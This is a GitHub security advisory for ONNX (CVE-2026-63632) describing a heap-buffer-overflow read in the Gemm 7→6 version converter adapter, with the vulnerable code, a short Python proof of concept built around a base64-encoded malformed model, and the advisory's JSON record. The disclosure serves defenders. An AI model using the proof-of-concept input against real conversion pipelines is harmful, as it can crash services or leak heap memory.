GHSA-P893-RVQ9-2XF9

Vulnerability from github – Published: 2026-07-24 15:48 – Updated: 2026-07-24 15:48
VLAI
Summary
ONNX: Heap-Buffer-Overflow READ in Gemm Version Converter Adapter via Undersized Input Shape
Details

Summary

Heap-buffer-overflow READ (16 bytes) in Gemm_7_6::adapt_gemm_7_6() (onnx/version_converter/adapters/gemm_7_6.h:41) when ConvertVersion() processes a model with a Gemm node whose input tensors have fewer than 2 dimensions. The adapter accesses B_shape[1] without checking rank. On Release builds the OOB read is silent; ASan confirms 16-byte read past a 48-byte allocation.

Details

The Gemm 7→6 downgrade adapter reads input shapes without bounds checking:

// gemm_7_6.h:26-42
const auto& A_shape = inputs[0]->sizes();  // May have < 2 elements
const auto& B_shape = inputs[1]->sizes();  // May have < 2 elements

if (node->hasAttribute(ktransB) && node->i(ktransB) == 1) {
    MN.emplace_back(B_shape[0]);   // OOB if B has 0 dims
} else {
    MN.emplace_back(B_shape[1]);   // OOB if B has < 2 dims ← CRASH
}

The PoC has input B with shape [28] (1 dimension). B_shape has 1 element. Accessing B_shape[1] reads 16 bytes past the std::vector<Dimension> internal storage into adjacent heap memory.

The same unchecked pattern applies to A_shape[0] and A_shape[1] at lines 34 and 36.

Entry point: onnx.version_converter.convert_version(model, 6) — different from the InferShapes bugs reported in separate advisories. This triggers during opset downgrade (7→6).

PoC

import base64
import onnx
from onnx import version_converter

poc_b64 = "CAM6rwEKUQoBQQoBQgoBQRIBWSIER2VtbSoPCgVhbHBoYRUBAQA+oAEBKg4KBGJldGEVAAAAOqABASoNCgZ0dGZsc0EYAaABAioNCgZ0cmFuc0IYAKABAhIKb2Vpdl94bWZ2aFoTCgFBEg4KDAgBEggKAggCCgIIA1oTCgFCEg4KDAgBEggKAggcCgIIBFoPCgFCEgoKCAgBEgQKAggbYhMKAVkSDgoMCAESCAoCCAIKAggEQgQKABAH"

model = onnx.load_from_string(base64.b64decode(poc_b64))

# Triggers heap-buffer-overflow in Gemm_7_6 adapter
version_converter.convert_version(model, 6)

186-byte PoC. ASan confirms: heap-buffer-overflow READ of size 16 at gemm_7_6.h:41, 0 bytes after 48-byte region allocated in tensorShapeProtoToDimensions at ir_pb_converter.cc:216.

Impact

Any application that uses onnx.version_converter.convert_version() on untrusted models is vulnerable. This includes model conversion pipelines and tools that auto-downgrade opset versions for compatibility. On Release builds the OOB read is silent — the read value propagates into the converted model's output shape, potentially leaking heap data. On ASan builds it's detected as a heap-buffer-overflow. Could also cause crashes with different heap layouts.

Severity
3.3 (Low)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.21.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "onnx"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.3.0"
            },
            {
              "fixed": "1.22.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-63632"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-125"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T15:48:04Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "### Summary\n\nHeap-buffer-overflow READ (16 bytes) in `Gemm_7_6::adapt_gemm_7_6()` (`onnx/version_converter/adapters/gemm_7_6.h:41`) when `ConvertVersion()` processes a model with a Gemm node whose input tensors have fewer than 2 dimensions. The adapter accesses `B_shape[1]` without checking rank. On Release builds the OOB read is silent; ASan confirms 16-byte read past a 48-byte allocation.\n\n### Details\n\nThe Gemm 7\u21926 downgrade adapter reads input shapes without bounds checking:\n```cpp\n// gemm_7_6.h:26-42\nconst auto\u0026 A_shape = inputs[0]-\u003esizes();  // May have \u003c 2 elements\nconst auto\u0026 B_shape = inputs[1]-\u003esizes();  // May have \u003c 2 elements\n\nif (node-\u003ehasAttribute(ktransB) \u0026\u0026 node-\u003ei(ktransB) == 1) {\n    MN.emplace_back(B_shape[0]);   // OOB if B has 0 dims\n} else {\n    MN.emplace_back(B_shape[1]);   // OOB if B has \u003c 2 dims \u2190 CRASH\n}\n```\n\nThe PoC has input B with shape `[28]` (1 dimension). `B_shape` has 1 element. Accessing `B_shape[1]` reads 16 bytes past the `std::vector\u003cDimension\u003e` internal storage into adjacent heap memory.\n\nThe same unchecked pattern applies to `A_shape[0]` and `A_shape[1]` at lines 34 and 36.\n\n**Entry point:** `onnx.version_converter.convert_version(model, 6)` \u2014 different from the `InferShapes` bugs reported in separate advisories. This triggers during opset downgrade (7\u21926).\n\n### PoC\n```python\nimport base64\nimport onnx\nfrom onnx import version_converter\n\npoc_b64 = \"CAM6rwEKUQoBQQoBQgoBQRIBWSIER2VtbSoPCgVhbHBoYRUBAQA+oAEBKg4KBGJldGEVAAAAOqABASoNCgZ0dGZsc0EYAaABAioNCgZ0cmFuc0IYAKABAhIKb2Vpdl94bWZ2aFoTCgFBEg4KDAgBEggKAggCCgIIA1oTCgFCEg4KDAgBEggKAggcCgIIBFoPCgFCEgoKCAgBEgQKAggbYhMKAVkSDgoMCAESCAoCCAIKAggEQgQKABAH\"\n\nmodel = onnx.load_from_string(base64.b64decode(poc_b64))\n\n# Triggers heap-buffer-overflow in Gemm_7_6 adapter\nversion_converter.convert_version(model, 6)\n```\n\n186-byte PoC. ASan confirms: `heap-buffer-overflow READ of size 16` at `gemm_7_6.h:41`, `0 bytes after 48-byte region` allocated in `tensorShapeProtoToDimensions` at `ir_pb_converter.cc:216`.\n\n### Impact\n\nAny application that uses `onnx.version_converter.convert_version()` on untrusted models is vulnerable. This includes model conversion pipelines and tools that auto-downgrade opset versions for compatibility. On Release builds the OOB read is silent \u2014 the read value propagates into the converted model\u0027s output shape, potentially leaking heap data. On ASan builds it\u0027s detected as a heap-buffer-overflow. Could also cause crashes with different heap layouts.",
  "id": "GHSA-p893-rvq9-2xf9",
  "modified": "2026-07-24T15:48:04Z",
  "published": "2026-07-24T15:48:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/onnx/onnx/security/advisories/GHSA-p893-rvq9-2xf9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/onnx/onnx/pull/7880"
    },
    {
      "type": "WEB",
      "url": "https://github.com/onnx/onnx/commit/e9c74f596eaa0250f89e52a54160a25bbcb25b66"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/onnx/onnx"
    },
    {
      "type": "WEB",
      "url": "https://github.com/onnx/onnx/releases/tag/v1.22.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ONNX: Heap-Buffer-Overflow READ in Gemm Version Converter Adapter via Undersized Input Shape"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.